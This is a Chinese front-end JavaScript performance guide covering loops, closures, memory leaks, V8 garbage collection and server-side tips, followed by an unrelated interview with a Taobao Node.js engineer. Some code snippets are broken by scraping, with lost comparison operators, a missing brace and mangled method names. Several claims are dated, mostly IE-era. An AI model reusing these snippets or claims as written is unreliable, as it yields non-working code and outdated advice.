目前绝大多数JS引擎都是解释执行的，而解释执行的情况下，在所有操作中，函数调用的效率是较低的。此外，过深的prototype继承链或者多级引用也会降低效率。JScript中，10级引用的开销大体是一次空函数调用开销的1/2。这两者的开销都远远大于简单操作（如四则运算）。

	
尽量避免过多的引用层级和不必要的多次方法调用：

特别要注意的是，有些情况下看似是属性访问，实际上是方法调用。例如所有DOM的属性，实际上都是方法。在遍历一个NodeList的时候，循环 条件对于nodes.length的访问，看似属性读取，实际上是等价于函数调用的。而且IE DOM的实现上，childNodes.length每次是要通过内部遍历重新计数的。（My god，但是这是真的！因为我测过，childNodes.length的访问时间与childNodes.length的值成正比！）这非常耗费。所以 预先把nodes.length保存到js变量，当然可以提高遍历的性能。






同样是函数调用，用户自定义函数的效率又远远低于语言内建函数，因为后者是对引擎本地方法的包装，而引擎通常是c,c++,java写的。进一步，同样的功能，语言内建构造的开销通常又比内建函数调用要效率高，因为前者在JS代码的parse阶段就可以确定和优化。

	
尽量使用语言本身的构造和内建函数：

这里有一个例子是高性能的String.format方法。 String.format传统的实现方式是用String.replace(regex, func)，在pattern包含n个占位符（包括重复的）时，自定义函数func就被调用n次。而这个高性能实现中，每次format调用所作的只是一次Array.join然后一次String.replace(regex, string)的操作，两者都是引擎内建方法，而不会有任何自定义函数调用。两次内建方法调用和n次的自定义方法调用，这就是性能上的差别。






同样是内建特性，性能上也还是有差别的。例如在JScript中对于arguments的访问性能就很差，几乎赶上一次函数调用了。因此如果一个 可变参数的简单函数成为性能瓶颈的时候，可以将其内部做一些改变，不要访问arguments，而是通过对参数的显式判断来处理，比如：







动画优化




	
动画效果在缺少硬件加速支持的情况下反应缓慢，例如手机客户端。


	特效应该只在确实能改善用户体验时才使用，而不应用于炫耀或者弥补功能与可用性上的缺陷。


	至少要给用户一个选择可以禁用动画效果。


	
设置动画元素为absolute或fixed。


	position: static或position: relative元素应用动画效果会造成频繁的reflow。


	position: absolute或position: fixed的元素应用动画效果只需要repaint。






	
使用一个timer完成多个元素动画。

	setInterval和setTimeout是两个常用的实现动画的接口，用以间隔更新元素的风格与布局。。






	
动画效果的帧率最优化的情况是使用一个timer完成多个对象的动画效果，其原因在于多个timer的调用本身就会损耗一定性能。

setInterval(function() {
  animateFirst('');
}, 10);
setInterval(function() {
  animateSecond('');
}, 10);






使用同一个timer。

    setInterval(function() {
      animateFirst('');
      animateSecond('');
    }, 10);



	以脚本为基础的动画，由浏览器控制动画的更新频率。






对象专题




	
减少不必要的对象创建：


	
创建对象本身对性能影响并不大，但由于JAVASCRIPT的垃圾回收调度算法，导致随着对象个数的增加，性能会开始严重下降（复杂度O(n^2)）。

	如常见的字符串拼接问题，单纯的多次创建字符串对象其实根本不是降低性能的主要原因，而是是在对象创建期间的无谓的垃圾回收的开销。而Array.join的方式，不会创建中间字符串对象，因此就减少了垃圾回收的开销。






	复杂的JAVASCRIPT对象，其创建时时间和空间的开销都很大，应该尽量考虑采用缓存。


	尽量作用JSON格式来创建对象，而不是var obj=new Object()方法。前者是直接复制，而后者需要调用构造器。






	
对象查找


	避免对象的嵌套查询，因为JAVASCRIPT的解释性，a.b.c.d.e嵌套对象，需要进行4次查询，嵌套的对象成员会明显影响性能。


	如果出现嵌套对象，可以利用局部变量，把它放入一个临时的地方进行查询。






	
对象属性

	
访问对象属性消耗性能过程（JAVASCRIPT对象存储）。


	先从本地变量表找到对象。


	然后遍历属性。


	如果在当前对象的属性列表里没找到。


	继续从prototype向上查找。


	
且不能直接索引，只能遍历。

function f(obj) {

return obj.a + 1; 

}















服务端优化




	
避免404。


	更改404错误响应页面可以改进用户体验，但是同样也会浪费服务器资源。


	
指向外部JAVASCRIPT的链接出现问题并返回404代码。


	这种加载会破坏并行加载。


	其次浏览器会把试图在返回的404响应内容中找到可能有用的部分当作JavaScript代码来执行。










	
删除重复的JAVASCRIPT和CSS。

	
重复调用脚本缺点。


	增加额外的HTTP请求。


	多次运算也会浪费时间。在IE和Firefox中不管脚本是否可缓存，它们都存在重复运算JAVASCRIPT的问题。










	
ETags配置Entity标签。

	
ETags用来判断浏览器缓存里的元素是否和原来服务器上的一致。

	
与last-modified date相比更灵活。

>如某个文件在1秒内修改了10次，`ETags`可以综合`Inode`(文件的索引节点`inode`数)，`MTime`(修改时间)和`Size`来精准的进行判断，避开`UNIX`记录`MTime`只能精确到秒的问题。服务器集群使用，可取后两个参数。使用`ETags`减少`Web`应用带宽和负载











	
权衡DNS查找次数

	
减少主机名可以节省响应时间。但同时也会减少页面中并行下载的数量。

	IE浏览器在同一时刻只能从同一域名下载两个文件。当在一个页面显示多张图片时，IE用户的图片下载速度就会受到影响。










	通过Keep-alive机制减少TCP连接。


	通过CDN减少延时。


	平行处理请求（参考BigPipe）。


	通过合并文件或者Image Sprites减少HTTP请求。


	减少重定向（ HTTP 301和40x/50x）。






类型转换专题




	
把数字转换成字符串。

	
应用""+1，效率是最高。

	
性能上来说：""+字符串>String()>.toString()>new String()。


	String()属于内部函数，所以速度很快。


	.toString()要查询原型中的函数，所以速度略慢。


	new String()最慢。














	
浮点数转换成整型。


	
错误使用使用parseInt()。

	parseInt()是用于将字符串转换成数字，而不是浮点数和整型之间的转换。






	
应该使用Math.floor()或者Math.round()。

	Math是内部对象，所以Math.floor()其实并没有多少查询方法和调用的时间，速度是最快的。














逻辑判断优化



	
switch语句。

	若有一系列复杂的if-else语句，可以转换成单个switch语句则可以得到更快的代码，还可以通过将case语句按照最可能的到最不可能的顺序进行组织，来进一步优化。










内存专题





	
JAVASCRIPT的内存回收机制


	以Google的V8引擎为例，在V8引擎中所有的JAVASCRIPT对象都是通过堆来进行内存分配的。当我们在代码中声明变量并赋值时，V8引擎就会在堆内存中分配一部分给这个变量。如果已申请的内存不足以存储这个变量时，V8引擎就会继续申请内存，直到堆的大小达到了V8引擎的内存上限为止（默认情况下，V8引擎的堆内存的大小上限在64位系统中为1464MB，在32位系统中则为732MB）。


	
另外，V8引擎对堆内存中的JAVASCRIPT对象进行分代管理。


	
新生代。

	新生代即存活周期较短的JAVASCRIPT对象，如临时变量、字符串等






	
老生代。

	老生代则为经过多次垃圾回收仍然存活，存活周期较长的对象，如主控制器、服务器对象等。














	
垃圾回收算法。

	
垃圾回收算法一直是编程语言的研发中是否重要的​​一环，而V8引擎所使用的垃圾回收算法主要有以下几种。


	Scavange算法：通过复制的方式进行内存空间管理，主要用于新生代的内存空间；


	Mark-Sweep算法和Mark-Compact算法：通过标记来对堆内存进行整理和回收，主要用于老生代对象的检查和回收。










	
对象进行回收。

	
引用。


	当函数执行完毕时，在函数内部所声明的对象不一定就会被销毁。


	引用(Reference)是JAVASCRIPT编程中十分重要的一个机制。


		
是指代码对对象的访问这一抽象关系，它与C/C++的指针有点相似，但并非同物。引用同时也是JAVASCRIPT引擎在进行垃圾回收中最关键的一个机制。

var val = 'hello world';
function foo() {
  return function() {

return val;

};
}
global.bar = foo();






	
当代码执行完毕时，对象val和bar()并没有被回收释放，JAVASCRIPT代码中，每个变量作为单独一行而不做任何操作，JAVASCRIPT引擎都会认为这是对对象的访问行为，存在了对对象的引用。为了保证垃圾回收的行为不影响程序逻辑的运行，JAVASCRIPT引擎不会把正在使用的对象进行回收。所以判断对象是否正在使用中的标准，就是是否仍然存在对该对象的引用。

	JAVASCRIPT的引用是可以进行转移的，那么就有可能出现某些引用被带到了全局作用域，但事实上在业务逻辑里已经不需要对其进行访问了，这个时候就应该被回收，但是JAVASCRIPT引擎仍会认为程序仍然需要它。


















	IE下闭包引起跨页面内存泄露。


	
JAVASCRIPT的内存泄露处理


	
给DOM对象添加的属性是一个对象的引用。

var MyObject = {};
document.getElementByIdx_x('myDiv').myProp = MyObject;

解决方法：在window.onunload事件中写上: 


document.getElementByIdx_x('myDiv').myProp = null;



	
DOM对象与JS对象相互引用。

function Encapsulator(element) {

this.elementReference = element;
element.myProp = this;

}
 new Encapsulator(document.getElementByIdx_x('myDiv'));

解决方法：在onunload事件中写上: 


document.getElementByIdx_x('myDiv').myProp = null;



	
给DOM对象用attachEvent绑定事件。

function doClick() {}
 element.attachEvent("onclick", doClick);

解决方法：在onunload事件中写上: 


element.detachEvent('onclick', doClick);



	
从外到内执行appendChild。这时即使调用removeChild也无法释放。

var parentDiv =   document.createElement_x("div");
 var childDiv = document.createElement_x("div");
 document.body.appendChild(parentDiv);
 parentDiv.appendChild(childDiv);

解决方法：从内到外执行appendChild:


var parentDiv =   document.createElement_x("div");
 var childDiv = document.createElement_x("div");
 parentDiv.appendChild(childDiv);
 document.body.appendChild(parentDiv);



	
反复重写同一个属性会造成内存大量占用(但关闭IE后内存会被释放)。

for(i = 0; i < 5000; i++) {

hostElement.text = "asdfasdfasdf";

}

 这种方式相当于定义了5000个属性，解决方法：无。







	
内存不是缓存。


	不要轻易将内存当作缓存使用。


	如果是很重要的资源，请不要直接放在内存中，或者制定过期机制，自动销毁过期缓存。






	
CollectGarbage。

	
CollectGarbage是IE的一个特有属性,用于释放内存的使用方法,将该变量或引用对象设置为null或delete然后在进行释放动作，在做CollectGarbage前,要必需清楚的两个必备条件:（引用）。


	一个对象在其生存的上下文环境之外，即会失效。


	一个全局的对象在没有被执用(引用)的情况下，即会失效












事件优化




	
使用事件代理


	当存在多个元素需要注册事件时，在每个元素上绑定事件本身就会对性能有一定损耗。


	由于DOM Level2事件模 型中所有事件默认会传播到上层文档对象，可以借助这个机制在上层元素注册一个统一事件对不同子元素进行相应处理。








捕获型事件先发生。两种事件流会触发DOM中的所有对象，从document对象开始，也在document对象结束。

    <ul id="parent-list">
        <li id="post-1">Item 1
        <li id="post-2">Item 2
        <li id="post-3">Item 3
        <li id="post-4">Item 4
        <li id="post-5">Item 5
        <li id="post-6">Item 6
    </li></ul>
    // Get the element, add a click listener...
    document.getElementById("parent-list").addEventListener("click",function(e) {
        // e.target is the clicked element!
        // If it was a list item
        if(e.target && e.target.nodeName == "LI") {
            // List item found!  Output the ID!
            console.log("List item ",e.target.id.replace("post-")," was clicked!");
        }
    });



数组专题




	
当需要使用数组时，可使用JSON格式的语法

	即直接使用如下语法定义数组：[parrm,param,param...],而不是采用new Array(parrm,param,param...)这种语法。使用JSON格式的语法是引擎直接解释。而后者则需要调用Array的构造器。






	
如果需要遍历数组，应该先缓存数组长度，将数组长度放入局部变量中，避免多次查询数组长度。

	根据字符串、数组的长度进行循环，而通常这个长度是不变的，比如每次查询a.length，就要额外进行一个操作，而预先把var len=a.length，则每次循环就少了一次查询。










同域跨域



	
避免跳转


	同域：注意避免反斜杠 “/” 的跳转；


	跨域：使用Alias或者mod_rewirte建立CNAME（保存域名与域名之间关系的DNS记录）










性能测试工具




	js性能优化和内存泄露问题及检测分析工具


	
	性能优化ajax工具diviefirebug


	
[web性能分析工具YSlow]


	performance性能评估打分，右击箭头可看到改进建议。


	stats缓存状态分析，传输内容分析。


	components所有加载内容分析，可以查看传输速度，找出页面访问慢的瓶颈。


	tools可以查看js和css，并打印页面评估报告。






	
内存泄露检测工具sIEve

	
sIEve是基于IE的内存泄露检测工具，需要下载运行，可以查看dom孤立节点和内存泄露及内存使用情况。


	列出当前页面内所有dom节点的基本信息(html id style 等)


	页面内所有dom节点的高级信息 (内存占用,数量,节点的引用)


	可以查找出页面中的孤立节点


	可以查找出页面中的循环引用


	可以查找出页面中产生内存泄露的节点










	
内存泄露提示工具leak monitor

	leak monitor在安装后，当离开一个页面时，比如关闭窗口，如果页面有内存泄露，会弹出一个文本框进行即时提示。






	
代码压缩工具


	YUI压缩工具


	Dean Edwards Packer


	JSMin









	
Blink/Webkit浏览器

	
在Blink/Webkit浏览器中（Chrome, Safari, Opera），我们可以借助其中的Developer Tools的Profiles工具来对我们的程序进行内存检查。

    Developer Tools - Profiles









	
Node.js中的内存检查

	
在Node.js中，我们可以使用node-heapdump和node-memwatch模块进​​行内存检查。

var heapdump = require('heapdump');
var fs = require('fs');
var path = require('path');
fs.writeFileSync(path.join(__dirname, 'app.pid'), process.pid);





在业务代码中引入node-heapdump之后，我们需要在某个运行时期，向Node.js进程发送SIGUSR2信号，让node-heapdump抓拍一份堆内存的快照。

   $ kill -USR2 (cat app.pid)

这样在文件目录下会有一个以`heapdump-<sec>.<usec>.heapsnapshot`格式命名的快照文件，我们可以使用浏览器的`Developer Tools`中的`Profiles`工具将其打开，并进行检查。



	分析浏览器提供的Waterfall图片来思考优化入口。


	新的测试手段（Navigation, Resource, 和User timing。






循环专题





	
循环是一种常用的流程控制。

	
JAVASCRIPT提供了三种循环。


	
for(;;)。


	推荐使用for循环，如果循环变量递增或递减，不要单独对循环变量赋值，而应该使用嵌套的++或–-运算符。


	代码的可读性对于for循环的优化。


	用-=1。


	
从大到小的方式循环（这样缺点是降低代码的可读性）。

/效率低/   
var divs = document.getElementsByTagName("div");    
for(var i = 0; i < divs.length; i++){

...  

}    
/效率高，适用于获取DOM集合，如果纯数组则两种情况区别不到/  
var divs = document.getElementsByTagName("div");   
for(var i = 0, len = divs.length; i < len; i++){

... 

}
/在IE6.0下，for(;;)循环在执行中，第一种情况会每次都计算一下长度，而第二种情况却是在开始的时候计算长度，并把其保存到一个变量中，所以其执行效率要高点，所以在我们使用for(;;)循环的时候，特别是需要计算长度的情况，我们应该开始将其保存到一个变量中。/







	
while()。

	for(;;)、while()循环的性能基本持平。






	
for(in)。

	在这三种循环中for(in)内部实现是构造一个所有元素的列表，包括array继承的属性，然后再开始循环，并且需要查询hasOwnProperty。所以for(in)相对for(;;)循环性能要慢。














	
选择正确的方法


	
避免不必要的属性查找。


	访问变量或数组是O(1)操作。


	
访问对象上的属性是一个O(n)操作。

对象上的任何属性查找都要比访问变量或数组花费更长时间，因为必须在原型链中对拥有该名称的属性进行一次搜索，即属性查找越多，执行时间越长。所以针对需要多次用到对象属性，应将其存储在局部变量。








	
优化循环。


	
减值迭代。

	大多数循环使用一个从0开始，增加到某个特定值的迭代器。在很多情况下，从最大值开始，在循环中不断减值的迭代器更加有效。






	
简化终止条件。

	由于每次循环过程都会计算终止条件，故必须保证它尽可能快，即避免属性查找或其它O(n)的操作。






	
简化循环体。

	循环体是执行最多的，故要确保其被最大限度地优化。确保没有某些可以被很容易移出循环的密集计算。






	
使用后测试循环。

	最常用的for和while循环都是前测试循环，而如do-while循环可以避免最初终止条件的计算，因些计算更快。









        for(var i = 0; i < values.length; i++) {
            process(values[i]);
        }


优化1：简化终止条件

for(var i = 0, len = values.length; i < len; i++) {
    process(values[i]);
}


优化2：使用后测试循环（注意：使用后测试循环需要确保要处理的值至少有一个）





	
展开循环。


	当循环的次数确定时，消除循环并使用多次函数调用往往更快。


	
当循环的次数不确定时，可以使用Duff装置来优化。

	Duff装置的基本概念是通过计算迭代的次数是否为8的倍数将一个循环展开为一系列语句。









// Jeff Greenberg for JS implementation of Duff's Device
// 假设：values.length 0
function process(v) {
    alert(v);
}
var values = [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17];
var iterations = Math.ceil(values.length / 8);
var startAt = values.length % 8;
var i = 0; 
do {
    switch(startAt) {
        case 0 : process(values[i++]);
        case 7 : process(values[i++]);
        case 6 : process(values[i++]);
        case 5 : process(values[i++]);
        case 4 : process(values[i++]);
        case 3 : process(values[i++]);
        case 2 : process(values[i++]);
        case 1 : process(values[i++]);
    }
    startAt = 0;
}while(--iterations 0);


如上展开循环可以提升大数据集的处理速度。接下来给出更快的Duff装置技术，将do-while循环分成2个单独的循环。（注：这种方法几乎比原始的Duff装置实现快上40%。）



// Speed Up Your Site(New Riders, 2003)
function process(v) {
    alert(v);
}     
var values = [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17];
var iterations = Math.floor(values.length / 8);
var leftover = values.length % 8;
var i = 0; 
if(leftover 0) {
    do {
        process(values[i++]);
    }while(--leftover 0);
}     
do {
    process(values[i++]);
    process(values[i++]);
    process(values[i++]);
    process(values[i++]);
    process(values[i++]);
    process(values[i++]);
    process(values[i++]);
    process(values[i++]);
}while(--iterations 0);

针对大数据集使用展开循环可以节省很多时间，但对于小数据集，额外的开销则可能得不偿失。









	
避免在循环中使用try-catch。


	try-catch-finally语句在catch语句被执行的过程中会动态构造变量插入到当前域中，对性能有一定影响。


	如果需要异常处理机制，可以将其放在循环外层使用。


		
循环中使用try-catch

for ( var i = 0; i < 200; i++) {
  try {} catch (e) {}
}






	
循环外使用try-catch

    try {
      for ( var i = 0; i < 200; i++) {}
    } catch (e) {}












	
避免遍历大量元素：

	
避免对全局DOM元素进行遍历，如果parent已知可以指定parent在特定范围查询。

var elements = document.getElementsByTagName( '*' );
for (i = 0; i < elements.length; i++) {
   if (elements[i].hasAttribute( 'selected' )) {}
}

如果已知元素存在于一个较小的范围内，


var elements = document.getElementById( 'canvas' ).getElementsByTagName ( '*' );
for (i = 0; i < elements.length; i++) {
   if (elements[i].hasAttribute( 'selected' )) {}
}









原型优化



	
通过原型优化方法定义。


	如果一个方法类型将被频繁构造，通过方法原型从外面定义附加方法，从而避免方法的重复定义。


	
可以通过外部原型的构造方式初始化值类型的变量定义。（这里强调值类型的原因是，引用类型如果在原型中定义，一个实例对引用类型的更改会影响到其他实例。）

	
这条规则中涉及到JAVASCRIPT中原型的概念，构造函数都有一个prototype属性，指向另一个对象。这个对象的所有属性和方法，都会被构造函数的实例继承。可以把那些不变的属性和方法，直接定义在prototype对象上。


	可以通过对象实例访问保存在原型中的值。


	不能通过对象实例重写原型中的值。


	在实例中添加一个与实例原型同名属性，那该属性就会屏蔽原型中的属性。


	通过delete操作符可以删除实例中的属性。


















运算符专题




	使用运算符时，尽量使用+＝，－＝、*＝、\=等运算符号，而不是直接进行赋值运算。


	
位运算。

	当进行数学运算时位运算较快，位运算操作要比任何布尔运算或算数运算快，如取模，逻辑与和逻辑或也可以考虑用位运算来替换。










重绘专题




	
减少页面的重绘。

	
减少页面重绘虽然本质不是JAVASCRIPT优化，但重绘往往是由JAVASCRIPT引起的，而重绘的情况直接影响页面性能。

var str = "<div>这是一个测试字符串</div>";
/效率低/
var obj = document.getElementsByTagName("body");
for(var i = 0; i < 100; i++){

obj.innerHTML += str + i;

}
/效率高/
var obj = document.getElementsByTagName("body");
var arr = [];
for(var i = 0; i < 100; i++){

arr[i] = str + i;

}
obj.innerHTML = arr.join("");





一般影响页面重绘的不仅仅是innerHTML，如果改变元素的样式，位置等情况都会触发页面重绘，所以在平时一定要注意这点。



	使用HTML5和CSS3的一些新特性。


	避免在HTML里面缩放图片。


	避免使用插件。


	确保使用正确的字体大小。


	决定当前页面是不是能被访问。






字符串专题




	
对字符串进行循环操作。

	
替换、查找等操作，使用正则表达式。

	因为JAVASCRIPT的循环速度较慢，而正则表达式的操作是用C写成的API，性能比较好。










	
字符串的拼接。


	字符串的拼接在我们开发中会经常遇到，所以我把其放在首位，我们往往习惯的直接用+=的方式来拼接字符串，其实这种拼接的方式效率非常的低，我们可以用一种巧妙的方法来实现字符串的拼接，那就是利用数组的join方法，具体请看我整理的：Web前端开发规范文档中的javaScript书写规范倒数第三条目。


	不过也有另一种说法，通常认为需要用Array.join的方式，但是由于SpiderMonkey等引擎对字符串的“+”运算做了优化，结果使用Array.join的效率反而不如直接用“+”，但是如果考虑IE6，则其他浏览器上的这种效率的差别根本不值一提。具体怎么取舍，诸君自定。










作用域链和闭包优化





	
作用域。


	作用域(scope)是JAVASCRIPT编程中一个重要的运行机制，在JAVASCRIPT同步和异步编程以及JAVASCRIPT内存管理中起着至关重要的作用。


	
在JAVASCRIPT中，能形成作用域的有如下几点。


	函数的调用


	
with语句

	with会创建自已的作用域，因此会增加其中执行代码的作用域的长度。






	
全局作用域。

以下代码为例：

var foo = function() {
  var local = {};
};
foo();
console.log(local); //=undefined

var bar = function() {
  local = {};
};
bar();
console.log(local); //={}





/这里我们定义了foo()函数和bar()函数，他们的意图都是为了定义一个名为local的变量。在foo()函数中，我们使用var语句来声明定义了一个local变量，而因为函数体内部会形成一个作用域，所以这个变量便被定义到该作用域中。而且foo()函数体内并没有做任何作用域延伸的处理，所以在该函数执行完毕后，这个local变量也随之被销毁。而在外层作用域中则无法访问到该变量。而在bar()函数内，local变量并没有使用var语句进行声明，取而代之的是直接把local作为全局变量来定义。故外层作用域可以访问到这个变量。/

local = {};
// 这里的定义等效于
global.local = {};







	
作用域链

	
在JAVASCRIPT编程中，会遇到多层函数嵌套的场景，这就是典型的作用域链的表示。

function foo() {
  var val = 'hello';
  function bar() {

function baz() {
  global.val = 'world;'
};
baz();
console.log(val); //=hello

};
  bar();
};
foo();

    /**在`JAVASCRIPT`中，变量标识符的查找是从当前作用域开始向外查找，直到全局作用域为止。所以`JAVASCRIPT`代码中对变量的访问只能向外进行，而不能逆而行之。baz()函数的执行在全局作用域中定义了一个全局变量val。而在bar()函数中，对val这一标识符进行访问时，按照从内到外的查找原则：在bar函数的作用域中没有找到，便到上一层，即foo()函数的作用域中查找。然而，使大家产生疑惑的关键就在这里：本次标识符访问在foo()函数的作用域中找到了符合的变量，便不会继续向外查找，故在baz()函数中定义的全局变量val并没有在本次变量访问中产生影响。**/







	
减少作用域链上的查找次数

	
JAVASCRIPT代码在执行的时候，如果需要访问一个变量或者一个函数的时候，它需要遍历当前执行环境的作用域链，而遍历是从这个作用域链的前端一级一级的向后遍历，直到全局执行环境。

/效率低/
for(var i = 0; i < 10000; i++){

var but1 = document.getElementById("but1");

}
/效率高/
/避免全局查找/
var doc = document;
for(var i = 0; i < 10000; i++){

var but1 = doc.getElementById("but1");

}
/上面代码中，第二种情况是先把全局对象的变量放到函数里面先保存下来，然后直接访问这个变量，而第一种情况是每次都遍历作用域链，直到全局环境，我们看到第二种情况实际上只遍历了一次，而第一种情况却是每次都遍历了，而且这种差别在多级作用域链和多个全局变量的情况下还会表现的非常明显。在作用域链查找的次数是O(n)。通过创建一个指向document的局部变量，就可以通过限制一次全局查找来改进这个函数的性能。/







	
闭包

	
JAVASCRIPT中的标识符查找遵循从内到外的原则。

    function foo() {
      var local = 'Hello';
      return function() {
        return local;
      };
    }
    var bar = foo();
    console.log(bar()); //=Hello

    /**这里所展示的让外层作用域访问内层作用域的技术便是闭包(Closure)。得益于高阶函数的应用，使foo()函数的作用域得到`延伸`。foo()函数返回了一个匿名函数，该函数存在于foo()函数的作用域内，所以可以访问到foo()函数作用域内的local变量，并保存其引用。而因这个函数直接返回了local变量，所以在外层作用域中便可直接执行bar()函数以获得local变量。**/


	闭包是JAVASCRIPT的高级特性，因为把带有​​内部变量引用的函数带出了函数外部，所以该作用域内的变量在函数执行完毕后的并不一定会被销毁，直到内部变量的引用被全部解除。所以闭包的应用很容易造成内存无法释放的情况。


	
良好的闭包管理。

	
循环事件绑定、私有属性、含参回调等一定要使用闭包时，并谨慎对待其中的细节。

	
循环绑定事件，我们假设一个场景：有六个按钮，分别对应六种事件，当用户点击按钮时，在指定的地方输出相应的事件。

var btns = document.querySelectorAll('.btn'); // 6 elements
var output = document.querySelector('#output');
var events = [1, 2, 3, 4, 5, 6];
// Case 1
for (var i = 0; i < btns.length; i++) {
  btns[i].onclick = function(evt) {

output.innerText += 'Clicked ' + events[i];

};
}
/这里第一个解决方案显然是典型的循环绑定事件错误，这里不细说，详细可以参照我给一个网友的回答；而第二和第三个方案的区别就在于闭包传入的参数。/
// Case 2
for (var i = 0; i < btns.length; i++) {
  btns[i].onclick = (function(index) {

return function(evt) {
  output.innerText += 'Clicked ' + events[index];
};

})(i);
}
/第二个方案传入的参数是当前循环下标，而后者是直接传入相应的事件对象。事实上，后者更适合在大量数据应用的时候，因为在JavaScript的函数式编程中，函数调用时传入的参数是基本类型对象，那么在函数体内得到的形参会是一个复制值，这样这个值就被当作一个局部变量定义在函数体的作用域内，在完成事件绑定之后就可以对events变量进行手工解除引用，以减轻外层作用域中的内存占用了。而且当某个元素被删除时，相应的事件监听函数、事件对象、闭包函数也随之被销毁回收。/
// Case 3
for (var i = 0; i < btns.length; i++) {
  btns[i].onclick = (function(event) {

return function(evt) {
  output.innerText += 'Clicked ' + event;
};

})(events[i]);
}



















	
避开闭包陷阱


	闭包是个强大的工具，但同时也是性能问题的主要诱因之一。不合理的使用闭包会导致内存泄漏。


	
闭包的性能不如使用内部方法，更不如重用外部方法。

	由于IE 9浏览器的DOM节点作为COM对象来实现，COM的内存管理是通过引用计数的方式，引用计数有个难题就是循环引用，一旦DOM引用了闭包(例如event handler)，闭包的上层元素又引用了这个DOM，就会造成循环引用从而导致内存泄漏。










	
善用函数

	
使用一个匿名函数在代码的最外层进行包裹。

 ;(function() {
   // 主业务代码
 })();










有的甚至更高级一点：

    ;(function(win, doc, $, undefined) {
      // 主业务代码
    })(window, document, jQuery);


甚至连如RequireJS, SeaJS, OzJS 等前端模块化加载解决方案，都是采用类似的形式：

    /**RequireJS**/
    define(['jquery'], function($) {
      // 主业务代码
    });
    /**SeaJS**/
    define('m​​odule', ['dep', 'underscore'], function($, _) {
      // 主业务代码
    });


被定义在全局作用域的对象，可能是会一直存活到进程退出的，如果是一个很大的对象，那就麻烦了。比如有的人喜欢在JavaScript中做模版渲染：

    <?php
      $db = mysqli_connect(server, user, password, 'myapp');
      $topics = mysqli_query($db, "SELECT * FROM topics;");
    ?>
    <!doctype html>
    <html lang="en">
    <head>
      <meta charset="UTF-8">
      <title>你是猴子请来的逗比么？</title>
    </head>
    <body>
      <ul id="topics"></ul>
      <script type="text/tmpl" id="topic-tmpl">
        <li class="topic">
          <h1><%=title%></h1>
          <p><%=content%></p>
        </li>
      </script>
      <script type="text/javascript">
        var data = <?php echo json_encode($topics); ?>;
        var topicTmpl = document.querySelector('#topic-tmpl').innerHTML;
        var render = function(tmlp, view) {
          var complied = tmlp
            .replace(/\n/g, '\\n')
            .replace(/<%=([\s\S]+?)%>/g, function(match, code) {
              return '" + escape(' + code + ') + "';
            });
          complied = [
            'var res = "";',
            'with (view || {}) {',
              'res = "' + complied + '";',
            '}',
            'return res;'
          ].join('\n');
          var fn = new Function('view', complied);
          return fn(view);
        };
        var topics = document.querySelector('#topics');
        function init()
          data.forEach(function(topic) {
            topics.innerHTML += render(topicTmpl, topic);
          });
        }
        init();
      </script>
    </body>
    </html>


在从数据库中获取到的数据的量是非常大的话，前端完成模板渲染以后，data变量便被闲置在一边。可因为这个变量是被定义在全局作用域中的，所以JAVASCRIPT引擎不会将其回收销毁。如此该变量就会一直存在于老生代堆内存中，直到页面被关闭。可是如果我们作出一些很简单的修改，在逻辑代码外包装一层函数，这样效果就大不同了。当UI渲染完成之后，代码对data的引用也就随之解除，而在最外层函数执行完毕时，JAVASCRIPT引擎就开始对其中的对象进行检查，data也就可以随之被回收。



GITHUB:前端性能优化指南


参考和借鉴了大家的经验，收集整理了这一篇开发规范，感谢所有的原作者，众人拾柴火焰高，技术无国界，持续更新中。
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从前端到全栈



  “当时我们团队的Leader不会去限制工程师做什么事情，而是说这件事是你在负责，所以你就要从前做到后。”




问：你从什么时候开始编程的？


我高二的时候才刚刚接触互联网，那时候看别人搭一个BBS我心里就特别崇拜，我很好奇这个过程是怎么实现的。以前有一个叫“中国博客网”的网站，上面提供了可以自己编辑模板的功能。在那个年代，脚本特效很流行，我经常把代码拷到那个模板里面去，测试效果。后来上大学之后我才知道，这个论坛的构建者其实就是利用了一个类似于Discuz的系统，搭这个网站并没有想象中那么复杂。


问：听说你在大学学的是Java，在这过程中你的兴趣点有没有转移？


学校教了很多东西，但是我的重心一直放在前端技术上。虽然学校教了C和C++这样的语言，但是教了之后也不告诉我们这个东西到底有什么用，所以我当时仍然痴迷于网页。工作几年以后才发现学校教的东西很有用，所以现在再回去补。


问：你是怎么变成所谓的全栈工程师的？是你自己的兴趣使然还是工作环境给了你这样一个机会？


我一般不说我是全栈工程师（笑）。我刚进大学的时候，目标其实很明确，就是想看看那些JS特效是怎么实现的。2009年毕业之后我开始工作，就侧重去做前端。那时候前端也才刚刚兴起，后来我就成了一个真正的前端工程师。


去了淘宝之后，我碰到了Node.js这样一个我很感兴趣的东西，我用了两年时间完成了从前端工程师到全栈工程师的演变。我的个人习惯就是，如果我对什么感兴趣，就会在这块投入精力去研究。所以通过这一两年的学习，我已经可以完成所谓的后端的工作了。当时我们那个团队由空无和玄澄带领，他们不会去限制工程师做什么事，而是说这件事情是你在负责，所以你就要从前做到后。


问：在你看来全栈意味着什么？你在QCon大会上主持了这个专题之后有没有带给你一些新的思考？


以前我认为全栈就是一个开发者能力的提升。如果你在某个领域非常专，有一个点很擅长，这时候别人才称你是专家；如果你有多个点比较擅长，那别人才有可能称你是全栈工程师。另外，责任也很重要。一个人不再只是负责在前端写CSS，也不只是在大工程里面做一小块东西，而是有了一个全局的视野。我以前对于全栈工程师的理解可能就是集中在工程师个人能力以及责任这两点上，通过主持Qcon的全栈工程师专题，我觉得还有一点，就是环境对全栈的影响。


个人能力是不太好复制的，有的工程师能力强，有的工程师能力没那么强，这种情况下你对能力稍微弱一点的工程师做这种要求，是很难达到目标的。Coding的分享给我带来了这个想法：基础设施建设对全栈的影响也是很大的。如果你不能帮助一个工程师成长，那就应该在环境上做出改变，你要去打造适合这样的人才成长的环境才行，这样才是正向循环。


问：淘宝现在使用Node.js的范围有没有扩大，主站有没有在用？


主站也有在用。现在几乎每个BU都在用Node做尝试，不管它做的是大系统还是小系统。我看到有很多团队尝到了甜头，但我也看到有很多团队不愿做改变，不愿去尝试新技术。


问：方便说一下你现在的工作内容是什么吗？


我最近半年在社区都不怎么活跃，是因为我做的内容刚刚开始，现在才有了一些进展，将来我们有计划把我们做的东西对外产品化。我现在的主要工作就是改Node.js和V8。在Node.js上改动我会直接接到Io.js的仓库里面，现在已经提了很多。


